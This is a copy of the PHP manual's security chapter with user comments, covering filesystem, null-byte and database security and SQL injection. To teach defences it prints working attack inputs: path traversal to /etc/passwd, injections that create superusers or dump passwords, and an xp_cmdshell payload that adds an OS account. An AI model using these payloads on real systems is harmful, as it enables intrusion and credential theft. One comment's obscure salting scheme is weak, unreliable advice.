Anonymous 28-Feb-2014 10:54
To add a new structure out the PHP directory, you have to do first:

- Configure the .ini file
- Add to your IDE the interpretor
terom at fixme dot fi 15-Dec-2013 07:02
You can use binfmt-misc to avoid the need for the #! line, by registering your php5-cgi binary as an interpreter for *.php files. E.g. with Debian binfmt-misc installed:

    update-binfmts --install php5 /usr/bin/php5-cgi --extension php
    cat /proc/sys/fs/binfmt_misc/php5

However, you still need chmod +x on the .php file. And Apache will give a rather sad "500 Internal Server Error" if you are missing the +x permissions :( You can improve the error message using mod_rewrite (but not obliviate the need for +x)..


Installed as an Apache module

When PHP is used as an Apache module it inherits Apache's user permissions (typically those of the "nobody" user). This has several impacts on security and authorization. For example, if you are using PHP to access a database, unless that database has built-in access control, you will have to make the database accessible to the "nobody" user. This means a malicious script could access and modify the database, even without a username and password. It's entirely possible that a web spider could stumble across a database administrator's web page, and drop all of your databases. You can protect against this with Apache authorization, or you can design your own access model using LDAP, .htaccess files, etc. and include that code as part of your PHP scripts.

Often, once security is established to the point where the PHP user (in this case, the apache user) has very little risk attached to it, it is discovered that PHP is now prevented from writing any files to user directories. Or perhaps it has been prevented from accessing or changing databases. It has equally been secured from writing good and bad files, or entering good and bad database transactions.

A frequent security mistake made at this point is to allow apache root permissions, or to escalate apache's abilities in some other way.

Escalating the Apache user's permissions to root is extremely dangerous and may compromise the entire system, so sudo'ing, chroot'ing, or otherwise running as root should not be considered by those who are not security professionals.

There are some simpler solutions. By using open_basedir you can control and restrict what directories are allowed to be used for PHP. You can also set up apache-only areas, to restrict all web based activity to non-user, or non-system, files.

User Contributed Notes

bk 2 at me dot com 24-Feb-2012 02:17
doc_root already limits apache/php script folder locations.

open_basedir is better used to restrict script access to folders
which do NOT contain scripts. Can be a sub-folder of doc_root as in php doc example doc_root/tmp, but better yet in a separate folder tree, like ~user/open_basedir_root/. Harmful scripts could modify other scripts if doc_root (or include_path) and open_basedir overlap.
If apache/php can't browse scripts in open_basedir, even if malicious scripts uploaded more bad scripts there, they won't be browse-able (executable).

One should also note that the many shell execute functions are effectively a way to bypass open_basedir limits, and such functions should be disabled if security demands strict folder access control. Harmful scripts can do the unix/windows version of "delete */*/*/*" if allowed to execute native os shell commands via those functions. OS Shell commands could similarly bypass redirect restrictions and upload file restrictions by just brute force copying files into the doc_root tree. It would be nice if they could be disabled as a group or class of functions, but it is still possible to disable them one by one if needed for security.

PS. currently there is a bug whereby the documented setting of open_basedir to docroot/tmp will not work if any include or require statements are done. Right now include will fail if the included php file is not in BOTH the open_basedir tree and the doc_root+include_path trees. Which is the opposite of safe.
This means by any included php file must be in open_basedir, so is vulnerable to harmful scripts and php viruses like Injektor.
Vikanich 14-Aug-2008 01:41
Big thanks to "daniel dot eckl at gmx dot de" but i have to change his config, because it doesn't work (may be wrong syntax).
I have add only this string to VirtualHost config and it works.
php_admin_value open_basedir  /www/site1/
Now all php scripts are locked in the directory.
Kibab 30-Sep-2005 03:56
I'm running Windows version of Apache with php as module. System is Windows XP Service Pack 2 on NTFS filesystem. To avoid potential security problems, I've set Apache to run under NT AUTHORITY\Network Service account, and there is only one directory, named Content, with Full Access for this account. Other directories are either not accessible at all or with readonly permissions (like %systemroot%)... So, even if Apache will be broken, nothing would happen to entire system, because that account doesn't have admin privilegies :)
daniel dot eckl at gmx dot de 08-Aug-2002 01:16
There is a better solution than starting every virtual host in a seperate instance, which is wasting ressources.

You can set open_basedir dynamically for every virtual host you have, so every PHP script on a virtual host is jailed to its document root.

Example:
<VirtualHost www.example.com>
  ServerName www.example.com
  DocumentRoot /www-home/example.com
[...]
  <Location />
    php_admin_value open_basedir     \ "/www-home/example.com/:/usr/lib/php/"
  </Location>
</VirtualHost>

If you set safe_mode on, then the script can only use binaries in given directories (make a special dir only with the binaries your customers may use).

Now no user of a virtual host can read/write/modify the data of another user on your machine.

Windseeker


Filesystem Security

Table of Contents

  • Null bytes related issues

PHP is subject to the security built into most server systems with respect to permissions on a file and directory basis. This allows you to control which files in the filesystem may be read. Care should be taken with any files which are world readable to ensure that they are safe for reading by all users who have access to that filesystem.

Since PHP was designed to allow user level access to the filesystem, it's entirely possible to write a PHP script that will allow you to read system files such as /etc/passwd, modify your ethernet connections, send massive printer jobs out, etc. This has some obvious implications, in that you need to ensure that the files that you read from and write to are the appropriate ones.

Consider the following script, where a user indicates that they'd like to delete a file in their home directory. This assumes a situation where a PHP web interface is regularly used for file management, so the Apache user is allowed to delete files in the user home directories.

Example #1 Poor variable checking leads to....

<?php
// remove a file from the user's home directory
$username = $_POST['user_submitted_name'];
$userfile = $_POST['user_submitted_filename'];
$homedir  = "/home/$username";

unlink("$homedir/$userfile");

echo "The file has been deleted!";
?>
Since the username and the filename are postable from a user form, they can submit a username and a filename belonging to someone else, and delete it even if they're not supposed to be allowed to do so. In this case, you'd want to use some other form of authentication. Consider what could happen if the variables submitted were "../etc/" and "passwd". The code would then effectively read:

Example #2 ... A filesystem attack

<?php
// removes a file from anywhere on the hard drive that
// the PHP user has access to. If PHP has root access:
$username = $_POST['user_submitted_name']; // "../etc"
$userfile = $_POST['user_submitted_filename']; // "passwd"
$homedir  = "/home/$username"; // "/home/../etc"

unlink("$homedir/$userfile"); // "/home/../etc/passwd"

echo "The file has been deleted!";
?>
There are two important measures you should take to prevent these issues.
  • Only allow limited permissions to the PHP web user binary.
  • Check all variables which are submitted.
Here is an improved script:

Example #3 More secure file name checking

<?php
// removes a file from the hard drive that
// the PHP user has access to.
$username = $_SERVER['REMOTE_USER']; // using an authentication mechanisim
$userfile = basename($_POST['user_submitted_filename']);
$homedir  = "/home/$username";

$filepath = "$homedir/$userfile";

if (file_exists($filepath) && unlink($filepath)) {
    $logstring = "Deleted $filepath\n";
} else {
    $logstring = "Failed to delete $filepath\n";
}
$fp = fopen("/home/logging/filedelete.log", "a");
fwrite($fp, $logstring);
fclose($fp);

echo htmlentities($logstring, ENT_QUOTES);

?>
However, even this is not without its flaws. If your authentication system allowed users to create their own user logins, and a user chose the login "../etc/", the system is once again exposed. For this reason, you may prefer to write a more customized check:

Example #4 More secure file name checking

<?php
$username     = $_SERVER['REMOTE_USER']; // using an authentication mechanisim
$userfile     = $_POST['user_submitted_filename'];
$homedir      = "/home/$username";

$filepath     = "$homedir/$userfile";

if (!ctype_alnum($username) || !preg_match('/^(?:[a-z0-9_-]|\.(?!\.))+$/iD', $userfile)) {
    die("Bad username/filename");
}

//etc...
?>

Depending on your operating system, there are a wide variety of files which you should be concerned about, including device entries (/dev/ or COM1), configuration files (/etc/ files and the .ini files), well known file storage areas (/home/, My Documents), etc. For this reason, it's usually easier to create a policy where you forbid everything except for what you explicitly allow.

User Contributed Notes

Latchezar Tzvetkoff 10-Mar-2009 12:06
A basic filename/directory/symlink checking may be done (and I personally do) via realpath() ...

<?php

if (isset($_GET['file'])) {
    $base = '/home/polizei/public_html/';  // it seems this one is good to be realpath too.. meaning not a symlinked path..
    if (strpos($file = realpath($base.$_GET['file']), $base) === 0 && is_file($file)) {
        unlink($file);
    } else {
        die('blah!');
    }
}
?>
steelchords at yahoo dot com 17-Apr-2007 10:12
It seems to me in this particular instance that a simple check to make sure that name or partial pathname doesn't already exist would prevent this attack... if a 'passwd/etc/...' existed as the password directory, you couldn't create a username to exploit the hole in the first place.  But that's only from a 'script user' perspective, it still doesn't protect your server from other sub-admin's badly written code.

Don For
anonymous 17-Nov-2005 11:58
(A) Better not to create files or folders with user-supplied names. If you do not validate enough, you can have trouble. Instead create files and folders with randomly generated names like fg3754jk3h and store the username and this file or folder name in a table named, say, user_objects. This will ensure that whatever the user may type, the command going to the shell will contain values from a specific set only and no mischief can be done.

(B) The same applies to commands executed based on an operation that the user chooses. Better not to allow any part of the user's input to go to the command that you will execute. Instead, keep a fixed set of commands and based on what the user has input, and run those only.

For example,
(A) Keep a table named, say, user_objects with values like:
username|chosen_name   |actual_name|file_or_dir
--------|--------------|-----------|-----------
jdoe    |trekphotos    |m5fg767h67 |D
jdoe    |notes.txt     |nm4b6jh756 |F
tim1997 |_imp_ folder  |45jkh64j56 |D

and always use the actual_name in the filesystem operations rather than the user supplied names.

(B)
<?php
$op = $_POST['op'];//after a lot of validations
$dir = $_POST['dirname'];//after a lot of validations or maybe you can use technique (A)
switch($op){
    case "cd":
        chdir($dir);
        break;
    case "rd":
        rmdir($dir);
        break;
    .....
    default:
        mail("webmaster@example.com", "Mischief", $_SERVER['REMOTE_ADDR']." is probably attempting an attack.");
}
fmrose at ncsu dot edu 10-Oct-2005 01:31
All of the fixes here assume that it is necessary to allow the user to enter system sensitive information to begin with. The proper way to handle this would be to provide something like a numbered list of files to perform an unlink action on and then the chooses the matching number. There is no way for the user to specify a clever attack circumventing whatever pattern matching filename exclusion syntax that you may have.

Anytime you have a security issue, the proper behaviour is to deny all then allow specific instances, not allow all and restrict. For the simple reason that you may not think of every possible restriction.
joshudson';DROP TABLE EMAILS;' gmail.com 01-Sep-2005 06:50
I keep application configuration files in the document root. I found the most effective trick to prevent access to them is to
1. Give them no code that actually runs when included (except for variable assignments),
2. Don't use register globals so nobody can do anything weird,
3. Name them *.php so PHP runs them when asked for
4. Don't have anything before <?php
5. Don't have a ?>
1 at 234 dot cx 23-Jun-2005 02:24
I don't think the filename validation solution from Jones at partykel is complete.  It certainly helps, but it doesn't address the case where the user is able to create a symlink pointing from his home directory to the root.  He might then ask to unlink "foo/etc/passwd" which would be in his home directory, except that foo is a symlink pointing to /.

Personally I wouldn't feel confident that any solution to this problem would keep my system secure.  Running PHP as root (or some equivalent which can unlink files in all users' home directories) is asking for trouble.

If you have a multi-user system and you are afraid that users may install scripts like this, try security-enhanced Linux.  It won't give total protection, but it at least makes sure that an insecure user script can only affect files which the web server is meant to have access to.  Whatever script someone installs, outsiders are not going to be able to read your password file---or remove it.
akul at inbox dot ru 06-May-2004 06:59
Common and simple way to avoid path attack is separating objectname and filesystem space when possible. For example if I have users on my site and directory per user solution is not "httpdocs/users/$login", but "httpdocs/users/".md5($login) or "httpdocs/users/".$userId
cronos586(AT)caramail(DOT)com 06-Jan-2002 12:48
when using Apache you might consider a apache_lookup_uri on the path, to discover the real path, regardless of any directory trickery.
then, look at the prefix, and compare with a list of allowed prefixes.
for example, my source.php for my website includes:
if(isset($doc)) {
    $apacheres = apache_lookup_uri($doc);
    $really = realpath($apacheres->filename);
    if(substr($really, 0, strlen($DOCUMENT_ROOT)) == $DOCUMENT_ROOT) {
        if(is_file($really)) {
            show_source($really);
        }
    }
}
hope this helps
regards,
KAT44
devik at cdi dot cz 21-Aug-2001 04:52
Well, the fact that all users run under the same UID is a big problem. Userspace  security hacks (ala safe_mode) should not be substitution for proper kernel level security checks/accounting.
Good news: Apache 2 allows you to assign UIDs for different vhosts.
devik
eLuddite at not dot a dot real dot addressnsky dot ru 11-Nov-2000 06:44
I think the lesson is clear:

(1) Forbit path separators in usernames.
(2) map username to a physical home directory - /home/username is fine
(3) read the home directory
(4) present only results of (3) as an option for deletion.

I have discovered a marvelous method of doing the above in php but this submission box is too small to contain it.

:-)


Null bytes related issues

As PHP uses the underlying C functions for filesystem related operations, it may handle null bytes in a quite unexpected way. As null bytes denote the end of a string in C, strings containing them won't be considered entirely but rather only until a null byte occurs. The following example shows a vulnerable code that demonstrates this problem:

Example #1 Script vulnerable to null bytes

<?php
$file = $_GET['file']; // "../../etc/passwd\0"
if (file_exists('/home/wwwrun/'.$file.'.php')) {
    // file_exists will return true as the file /home/wwwrun/../../etc/passwd exists
    include '/home/wwwrun/'.$file.'.php';
    // the file /etc/passwd will be included
}
?>

Therefore, any tainted string that is used in a filesystem operation should always be validated properly. Here is a better version of the previous example:

Example #2 Correctly validating the input

<?php
$file = $_GET['file'];

// Whitelisting possible values
switch ($file) {
    case 'main':
    case 'foo':
    case 'bar':
        include '/home/wwwrun/include/'.$file.'.php';
        break;
    default:
        include '/home/wwwrun/include/main.php';
}
?>

User Contributed Notes

Anonymous 09-May-2014 11:51
Looks like this issue was fixed in PHP 5.3 https://bugs.php.net/bug.php?id=39863
kpobococ at gmail dot com 16-May-2009 09:25
Since problems with null bytes do not stretch to regular string functions, this should be enough to ensure no GET parameter contains them any more:

<?php
function getVar($name)
{
    $value = isset($_GET[$name]) ? $_GET[$name] : null;

    if (is_string($value)) {
        $value = str_replace("\0", '', $value);
    }
}
?>

Modifying this to work with other superglobals should not be a problem, so I will leave it up to you.


Database Security

Table of Contents

  • Designing Databases
  • Connecting to Database
  • Encrypted Storage Model
  • SQL Injection

Nowadays, databases are cardinal components of any web based application by enabling websites to provide varying dynamic content. Since very sensitive or secret information can be stored in a database, you should strongly consider protecting your databases.

To retrieve or to store any information you need to connect to the database, send a legitimate query, fetch the result, and close the connection. Nowadays, the commonly used query language in this interaction is the Structured Query Language (SQL). See how an attacker can tamper with an SQL query.

As you can surmise, PHP cannot protect your database by itself. The following sections aim to be an introduction into the very basics of how to access and manipulate databases within PHP scripts.

Keep in mind this simple rule: defense in depth. The more places you take action to increase the protection of your database, the less probability of an attacker succeeding in exposing or abusing any stored information. Good design of the database schema and the application deals with your greatest fears.

User Contributed Notes

Chris Travers 28-Jul-2012 08:45
Regarding where to put logic, it's really best not to be dogmatic about this.  Putting logic in the db can have some security advantages but it has other security gotchas (for example, SQL injection inside a stored procedure may be possible in some environments).  Similarly it can have some portability advantages and disadvantages.

The real question is that you want to ask what you want to be portable.  If you put it in the db, it becomes easier to integrate programs written in different development environments with a minimum of security gotchas.  If you put it in the application, then you have to create the interfaces on that level in middleware.  Both approaches are doable.  On the other hand if you are writing software you want to be deployable in MS SQL shops and Oracle shops, then you have to write portable SQL (avoiding gotchas) and put the logic in the application.

When we started rewriting the LedgerSMB codebase, we decided to move logic into the db because this would make it easier to retrofit security onto a very insecure codebase (by not trusting the application), and because we wanted to support languages other than Perl.  A few years later this is bearing fruit and indeed I am reading the manual because I am writing integration libraries in PHP.  I am not much of a PHP guy (I haven't programmed PHP since PHP 4.x) but I can write modules that let folks write code to interface securely with LedgerSMB's database logic.  You can think of the stored procedures as being named queries which are shared between applications, or as API's to the database.  But again, this approach is not universally applicable.

If portability between db's is not a major requirement, then I think the best approach is to do as much as possible in SQL queries and put those in the database.  A couple hundred lines of SQL can replace a couple thousand lines in Perl or PHP, and is fundamentally easier to debug.  Of course that won't work for everyone.
Dave Martin 16-Aug-2007 09:15
The posting below is at the very best extremely POV.

There is no more reason to assume you would want to change database vendor than there is to assume you might want to port your php code to Java for example. In either case, its going to be a matter of luck where your business rules sit.

Even if your business rules sit in your application, SQL is NOT portable. Oracle outer joins and pivot queries for example, can look completely different to those in other vendors software (particularly from 8i or lower). This fact alone means that changing your DB vendor requires work on your business rules either in the database or in the application.

Having your rules in the database and keeping the sql in application simple, will at least keep the work in the database if you need to change DB vendor. If you have the rules in the PHP, you'll have to change both.
x12code at yahoo dot com 14-Aug-2007 06:48
About offloading business logic to views and queries facilitated by the database engine, I seek to avoid this as much as possible, and only do so when such would drastically improve efficiency and user response time.

For instance, where I am there is database staff and application staff. Trying to do analysis on existent applications can easily become a snipe hunt.

The database should be kept discreet as much as possible from the application, such that any database or database provider can easily be substituted with a minimum of cognitive effort on the part of the one setting up a new database. If functionality has been offloaded to the database, additional testing is required to make sure triggers and views were done correctly, again, and that they work right.

Also, keeping all business logic with the application allows all functionality and documentation to be readable in one place, which is invaluable when doing subsequent analysis on an existing application. The worst thing is to have functionality scattered here and there.

Keeping everything with the application means one group of people is responsible, as in my case, application staff. Fewer requests go back and forth. Remember, anytime someone else is brought into the picture, such as asking a DBA to create a view or trigger for you, that DBA must take responsibility over his or her work, with whatever requirements, causing more bureaucracy and administrative complexity.
30-Jun-2005 12:57
you can also chamge CHMOD for some file containing "user names" or "passwords"


Designing Databases

The first step is always to create the database, unless you want to use one from a third party. When a database is created, it is assigned to an owner, who executed the creation statement. Usually, only the owner (or a superuser) can do anything with the objects in that database, and in order to allow other users to use it, privileges must be granted.

Applications should never connect to the database as its owner or a superuser, because these users can execute any query at will, for example, modifying the schema (e.g. dropping tables) or deleting its entire content.

You may create different database users for every aspect of your application with very limited rights to database objects. The most required privileges should be granted only, and avoid that the same user can interact with the database in different use cases. This means that if intruders gain access to your database using your applications credentials, they can only effect as many changes as your application can.

You are encouraged not to implement all the business logic in the web application (i.e. your script), instead do it in the database schema using views, triggers or rules. If the system evolves, new ports will be intended to open to the database, and you have to re-implement the logic in each separate database client. Over and above, triggers can be used to transparently and automatically handle fields, which often provides insight when debugging problems with your application or tracing back transactions.

User Contributed Notes

There are no user contributed notes for this page.


Connecting to Database

You may want to establish the connections over SSL to encrypt client/server communications for increased security, or you can use ssh to encrypt the network connection between clients and the database server. If either of these is used, then monitoring your traffic and gaining information about your database will be difficult for a would-be attacker.

User Contributed Notes

jakub dot lasinski at interia dot pl 28-Jul-2007 09:15
Even if webserver and DBMS are on the same phisical machine one can separate networks by setting database in virtual server inside the main system (using for example VMware solutions).
aastaneh at cmax2 dot com 27-Jul-2006 07:28
Another solution to protect your database is to have a seperate backend network exclusively used for database traffic. Your webserver(s) would have two interface cards: one facing the world, one facing the internal database network. This way- there's no chance of intercepting database traffic from the outside.


Encrypted Storage Model

SSL/SSH protects data travelling from the client to the server: SSL/SSH does not protect persistent data stored in a database. SSL is an on-the-wire protocol.

Once an attacker gains access to your database directly (bypassing the webserver), stored sensitive data may be exposed or misused, unless the information is protected by the database itself. Encrypting the data is a good way to mitigate this threat, but very few databases offer this type of data encryption.

The easiest way to work around this problem is to first create your own encryption package, and then use it from within your PHP scripts. PHP can assist you in this with several extensions, such as Mcrypt and Mhash, covering a wide variety of encryption algorithms. The script encrypts the data before inserting it into the database, and decrypts it when retrieving. See the references for further examples of how encryption works.

In the case of truly hidden data, if its raw representation is not needed (i.e. will not be displayed), hashing may also be taken into consideration. The well-known example for hashing is storing the cryptographic hash of a password in a database, instead of the password itself. See also crypt().

Example #1 Using hashed password field

<?php

// storing password hash
// $random_chars retrieved e.g. using /dev/random
$query  = sprintf("INSERT INTO users(name,pwd) VALUES('%s','%s');",
            pg_escape_string($username),
            pg_escape_string(crypt($password, '$2a$07$' . $random_chars . '$')));
$result = pg_query($connection, $query);

// querying if user submitted the right password
$query = sprintf("SELECT pwd FROM users WHERE name='%s';",
            pg_escape_string($username));
$row = pg_fetch_assoc(pg_query($connection, $query));

if ($row && crypt($password, $row['pwd']) == $row['pwd']) {
    echo 'Welcome, ' . htmlspecialchars($username) . '!';
} else {
    echo 'Authentication failed for ' . htmlspecialchars($username) . '.';
}

?>

User Contributed Notes

mrgarett at gmail dot com 21-Oct-2014 08:08
I am not sure if this method is secure but i encrypt a users password with mcrypt and save the random character salt to a file that is protected by the web server. The filename is there unique id + date registered encrypted with standard md5.

For extra security if the ip address is not the normal ip address i send a little notification to there email.
seigoryu at hotmail dot de 04-Oct-2012 05:30
I would strongly recommend using SHA-2 or better the new SHA-3 hash algorithm. MD5 is practically unusable, since there are very well working rainbow tables around the whole web. Almost the same for SHA-1. Of course you should never do a hash without salting!
Reiner 21-Apr-2011 09:46
Using functions to obfuscate the hash generation does not increase security. This is security by obscurity. The algorithm used to hash the data needs to be secure by itself.

I would not suggest to use other data as salt. For example if you use the username, you won't be able to change the values without rehashing the password.

I would use a dedicated salt value stored in the same database table.

Why? Because a lot of users use the same login credentials on different web services. And in case another service also uses the username as salt, the resulting hashed password might be the same!

Also an attacker may prepare a rainbow table with prehashed passwords using the username and other known data as salt. Using random data would easily prevent this with little programming effort.
somebody 27-Dec-2006 07:07
A better way to hash would be to use a separate salt for each user. Changing the salt upon each password update will ensure the hashes do not become stale.
Fairydave at the location of dodo.com.au 12-Feb-2006 03:58
I think the best way to have a salt is not to randomly generate one or store a fixed one. Often more than just a password is saved, so use the extra data. Use things like the username, signup date, user ID, anything which is saved in the same table. That way you save on space used by not storing the salt for each user.

Although your method can always be broken if the hacker gets access to your database AND your file, you can make it more difficult. Use different user data depending on random things, the code doesn't need to make sense, just produce the same result each time. For example:

if ((asc(username character 5) > asc(username character 2))
{
   if (month the account created > 6)
      salt = ddmmyyyy of account created date
   else
      salt = yyyyddmm of account created date
}
else
{
   if (day of account created > 15)
      salt = user id * asc(username character 3)
   else
      salt = user id + asc(username character 1) + asc(username character 4)
}

This wont prevent them from reading passwords when they have both database and file access, but it will confuse them and slow them up without much more processing power required to create a random salt


SQL Injection

Many web developers are unaware of how SQL queries can be tampered with, and assume that an SQL query is a trusted command. It means that SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks, and sometimes SQL queries even may allow access to host operating system level commands.

Direct SQL Command Injection is a technique where an attacker creates or alters existing SQL commands to expose hidden data, or to override valuable ones, or even to execute dangerous system level commands on the database host. This is accomplished by the application taking user input and combining it with static parameters to build an SQL query. The following examples are based on true stories, unfortunately.

Owing to the lack of input validation and connecting to the database on behalf of a superuser or the one who can create users, the attacker may create a superuser in your database.

Example #1 Splitting the result set into pages ... and making superusers (PostgreSQL)

<?php

$offset = $argv[0]; // beware, no input validation!
$query  = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";
$result = pg_query($conn, $query);

?>
Normal users click on the 'next', 'prev' links where the $offset is encoded into the URL. The script expects that the incoming $offset is a decimal number. However, what if someone tries to break in by appending a urlencode()'d form of the following to the URL
0;
insert into pg_shadow(usename,usesysid,usesuper,usecatupd,passwd)
    select 'crack', usesysid, 't','t','crack'
    from pg_shadow where usename='postgres';
--
If it happened, then the script would present a superuser access to him. Note that 0; is to supply a valid offset to the original query and to terminate it.

Note:

It is common technique to force the SQL parser to ignore the rest of the query written by the developer with -- which is the comment sign in SQL.

A feasible way to gain passwords is to circumvent your search result pages. The only thing the attacker needs to do is to see if there are any submitted variables used in SQL statements which are not handled properly. These filters can be set commonly in a preceding form to customize WHERE, ORDER BY, LIMIT and OFFSET clauses in SELECT statements. If your database supports the UNION construct, the attacker may try to append an entire query to the original one to list passwords from an arbitrary table. Using encrypted password fields is strongly encouraged.

Example #2 Listing out articles ... and some passwords (any database server)

<?php

$query  = "SELECT id, name, inserted, size FROM products
           WHERE size = '$size'";
$result = odbc_exec($conn, $query);

?>
The static part of the query can be combined with another SELECT statement which reveals all passwords:
'
union select '1', concat(uname||'-'||passwd) as name, '1971-01-01', '0' from usertable;
--
If this query (playing with the ' and --) were assigned to one of the variables used in $query, the query beast awakened.

SQL UPDATE's are also susceptible to attack. These queries are also threatened by chopping and appending an entirely new query to it. But the attacker might fiddle with the SET clause. In this case some schema information must be possessed to manipulate the query successfully. This can be acquired by examining the form variable names, or just simply brute forcing. There are not so many naming conventions for fields storing passwords or usernames.

Example #3 From resetting a password ... to gaining more privileges (any database server)

<?php
$query = "UPDATE usertable SET pwd='$pwd' WHERE uid='$uid';";
?>
But a malicious user sumbits the value ' or uid like'%admin% to $uid to change the admin's password, or simply sets $pwd to hehehe', trusted=100, admin='yes to gain more privileges. Then, the query will be twisted:
<?php

// $uid: ' or uid like '%admin%
$query = "UPDATE usertable SET pwd='...' WHERE uid='' or uid like '%admin%';";

// $pwd: hehehe', trusted=100, admin='yes
$query = "UPDATE usertable SET pwd='hehehe', trusted=100, admin='yes' WHERE
...;";

?>

A frightening example how operating system level commands can be accessed on some database hosts.

Example #4 Attacking the database hosts operating system (MSSQL Server)

<?php

$query  = "SELECT * FROM products WHERE id LIKE '%$prod%'";
$result = mssql_query($query);

?>
If attacker submits the value a%' exec master..xp_cmdshell 'net user test testpass /ADD' -- to $prod, then the $query will be:
<?php

$query  = "SELECT * FROM products
           WHERE id LIKE '%a%'
           exec master..xp_cmdshell 'net user test testpass /ADD' --%'";
$result = mssql_query($query);

?>
MSSQL Server executes the SQL statements in the batch including a command to add a new user to the local accounts database. If this application were running as sa and the MSSQLSERVER service is running with sufficient privileges, the attacker would now have an account with which to access this machine.

Note:

Some of the examples above is tied to a specific database server. This does not mean that a similar attack is impossible against other products. Your database server may be similarly vulnerable in another manner.

A worked example of the issues regarding SQL Injection
Image courtesy of » xkcd

Avoidance Techniques

While it remains obvious that an attacker must possess at least some knowledge of the database architecture in order to conduct a successful attack, obtaining this information is often very simple. For example, if the database is part of an open source or other publicly-available software package with a default installation, this information is completely open and available. This information may also be divulged by closed-source code - even if it's encoded, obfuscated, or compiled - and even by your very own code through the display of error messages. Other methods include the user of common table and column names. For example, a login form that uses a 'users' table with column names 'id', 'username', and 'password'.

These attacks are mainly based on exploiting the code not being written with security in mind. Never trust any kind of input, especially that which comes from the client side, even though it comes from a select box, a hidden input field or a cookie. The first example shows that such a blameless query can cause disasters.

  • Never connect to the database as a superuser or as the database owner. Use always customized users with very limited privileges.
  • Use prepared statements with bound variables. They are provided by PDO, by MySQLi and by other libraries.
  • Check if the given input has the expected data type. PHP has a wide range of input validating functions, from the simplest ones found in Variable Functions and in Character Type Functions (e.g. is_numeric(), ctype_digit() respectively) and onwards to the Perl compatible Regular Expressions support.

  • If the application waits for numerical input, consider verifying data with ctype_digit(), or silently change its type using settype(), or use its numeric representation by sprintf().

    Example #5 A more secure way to compose a query for paging

    <?php

    settype    ($offset, 'integer');
    $query = "SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET $offset;";

    // please note %d in the format string, using %s would be meaningless
    $query = sprintf("SELECT id, name FROM products ORDER BY name LIMIT 20 OFFSET %d;",
                         $offset);

    ?>

  • If the database layer doesn't support binding variables then quote each non numeric user supplied value that is passed to the database with the database-specific string escape function (e.g. mysql_real_escape_string(), sqlite_escape_string(), etc.). Generic functions like addslashes() are useful only in a very specific environment (e.g. MySQL in a single-byte character set with disabled NO_BACKSLASH_ESCAPES) so it is better to avoid them.
  • Do not print out any database specific information, especially about the schema, by fair means or foul. See also Error Reporting and Error Handling and Logging Functions.
  • You may use stored procedures and previously defined cursors to abstract data access so that users do not directly access tables or views, but this solution has another impacts.

Besides these, you benefit from logging queries either within your script or by the database itself, if it supports logging. Obviously, the logging is unable to prevent any harmful attempt, but it can be helpful to trace back which application has been circumvented. The log is not useful by itself, but through the information it contains. More detail is generally better than less.

User Contributed Notes

Nikolay Mihaylov 23-Apr-2014 06:29
Because we host several websites, written by different clients, I prepend this file on every php file on my server:

function armor_1234567890_abc(){
    foreach($_REQUEST as $key => $data){
        $data = strtolower($data);

        if (strpos($data, "base64_") !== false)
            exit;

        if (strpos($data, "union") !== false && strpos($data, "select") !== false)
            exit;
    }
}

armor_1234567890_abc();
nemeth dot zsolt dot dr at gmail dot com 12-Jan-2014 02:58
You can avoid the sql injection using views and stored procedures. Never give direct access to tables! Stored procedures can be protected by special parameters (e.g user id + password)
Richard dot Corfield at gmail dot com 18-Nov-2011 11:01
The best way has got to be parameterised queries. Then it doesn't matter what the user types in the data goes to the database as a value.

A quick search online shows some possibilities in PHP which is great! Even on this site - http://php.net/manual/en/pdo.prepared-statements.php
which also gives the reasons this is good both for security and performance.
wang dot liang dot com at gmail dot com 12-Mar-2010 12:11
another way to stop sql injection when you odbc_*: create two users,
one has only select permission,
the other has only delete, update, and insert permission,

so you can use select-only user to call odbc_exec while you don't have to check the sql injection; and you use d/u/i only user to update database by calling odbc_prepare and odbc_execute.
fyrye 07-Aug-2009 12:59
Another way to prevent SQL injections as opposed to binary, is to use URL Encoding or Hex Encoding.
I haven't seen a complete example of stopping SQL Injections, most refer to use the mysql_real_escape_string function or param statements.

Several examples at http://en.wikipedia.org/wiki/SQL_injection

Which will stop \x00, \n, \r, \, ', " and \x1a based attacks.
Alot depends on your SQL query structure, though vector level attacks are still viable.

Other than that build your own regex replacement to protect specific queries that could alter or compromise your database/results for specific sections of your processing pages.
Also use unique table and field names. Not just putting _ infront of them...
Example, don't store User/s or Customer/s information in a table named the same.
And NEVER use the same form field names for database field names.
jaimthorn at yahoo dot com 13-Oct-2008 11:32
dark dot avenger at email dot cz wrote:

"I think that easy way to protect against SQL injection is to convert inputted data into binary format, so that whatever input is, in sql query it will consist only of 1s and 0s."

Unless there is a 1-to-1 correspondence between your inputted data and the characters in your 'binary' format, a SELECT query wouldn't work anymore.  Not a binary format, but it makes my point: MIME encoding the text 'Dark Avenger' results in 'RGFyayBBdmVuZ2Vy'.  If I wanted to look up anyone with 'Avenger' in his/her name, then 'Avenger' would be encoded as 'QXZlbmdlcg==' which clearly wouldn't result in a hit on 'RGFyayBBdmVuZ2Vy'.

If there IS a 1-to-1 correspondence, then EITHER your solution only makes it a bit harder to perform a SQL injection (a hacker would have to figure out what mapping was used between the text and the 'binary' format), OR you've come up with simply another way to escaping your data.  Either isn't a terribly good solution to the SQL injection problem.
valerylourie at gmail dot com 15-Apr-2008 09:23
Note that PHP 5 introduced filters that you can use for untrusted user input:
http://us.php.net/manual/en/intro.filter.php
ctm at etheon dot net 01-Aug-2006 05:39
This is a very helpful document from the MySQL site (in .pdf format) :

http://dev.mysql.com/tech-resources/articles/
guide-to-php-security-ch3.pdf


Error Reporting

With PHP security, there are two sides to error reporting. One is beneficial to increasing security, the other is detrimental.

A standard attack tactic involves profiling a system by feeding it improper data, and checking for the kinds, and contexts, of the errors which are returned. This allows the system cracker to probe for information about the server, to determine possible weaknesses. For example, if an attacker had gleaned information about a page based on a prior form submission, they may attempt to override variables, or modify them:

Example #1 Attacking Variables with a custom HTML page

<form method="post" action="attacktarget?username=badfoo&amp;password=badfoo">
<input type="hidden" name="username" value="badfoo" />
<input type="hidden" name="password" value="badfoo" />
</form>

